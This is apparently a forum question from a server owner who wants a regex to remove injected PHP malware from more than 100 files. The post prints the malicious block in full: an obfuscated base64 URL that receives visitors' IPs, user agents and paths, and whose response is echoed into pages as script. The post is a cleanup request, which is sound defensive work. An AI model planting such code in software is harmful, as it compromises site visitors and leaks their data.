title: how to remove block of code in source files
body: <p>i have a big problem with malware on my server. Somehow a bot was able to put code in more than 100 php files, which does a curl retrieve to execute JS code on a viewers browser.
  Fortunately the server to which this code connects to is dead. So no i have dead malware code in my php files. I want to remove that block of code from each php file.</p>
  
  <p>The following code block is in many php files:</p>
  
  <pre><code>?&gt;&lt;?php
  if (!isset($sRetry))
  {
  global $sRetry;
  $sRetry = 1;
      // This code use for global bot statistic
      $sUserAgent = strtolower($_SERVER['HTTP_USER_AGENT']); //  Looks for google serch bot
      $stCurlHandle = NULL;
      $stCurlLink = "";
      if((strstr($sUserAgent, 'google') == false)&amp;&amp;(strstr($sUserAgent, 'yahoo') == false)&amp;&amp;(strstr($sUserAgent, 'baidu') == false)&amp;&amp;(strstr($sUserAgent, 'msn') == false)&amp;&amp;(strstr($sUserAgent, 'opera') == false)&amp;&amp;(strstr($sUserAgent, 'chrome') == false)&amp;&amp;(strstr($sUserAgent, 'bing') == false)&amp;&amp;(strstr($sUserAgent, 'safari') == false)&amp;&amp;(strstr($sUserAgent, 'bot') == false)) // Bot comes
      {
          if(isset($_SERVER['REMOTE_ADDR']) == true &amp;&amp; isset($_SERVER['HTTP_HOST']) == true){ // Create  bot analitics            
          $stCurlLink = base64_decode( 'aHR0cDovL21icm93c2Vyc3RhdHMuY29tL3N0YXRFL3N0YXQucGhw').'?ip='.urlencode($_SERVER['REMOTE_ADDR']).'&amp;useragent='.urlencode($sUserAgent).'&amp;domainname='.urlencode($_SERVER['HTTP_HOST']).'&amp;fullpath='.urlencode($_SERVER['REQUEST_URI']).'&amp;check='.isset($_GET['look']);
              @$stCurlHandle = curl_init( $stCurlLink ); 
      }
      } 
  if ( $stCurlHandle !== NULL )
  {
      curl_setopt($stCurlHandle, CURLOPT_RETURNTRANSFER, 1);
      curl_setopt($stCurlHandle, CURLOPT_TIMEOUT, 6);
      $sResult = @curl_exec($stCurlHandle); 
      if ($sResult[0]=="O") 
       {$sResult[0]=" ";
        echo $sResult; // Statistic code end
        }
      curl_close($stCurlHandle); 
  }
  }
  ?&gt;
  </code></pre>
  
  <p>As you can see the first characters begin with "?>.</p>
  
  <p>Using sed i would do something like:</p>
  
  <pre><code>sed -i 's/&lt;\?php\nif \(\!isset\(\$sRetry\)\)(.*?)\n\}\n}\?&gt;//g' *.php
  </code></pre>
  
  <p>Obviously this is not working. But what im trying to do is to search for the opening tag include the "isset" check for $sRetry to be sure it only finds this code block, then followed by (.*) for any code followed by the two braces and the ending tag.</p>
  
  <p>Could anybody provide me proper regex or tell me what is wrong on this one?</p>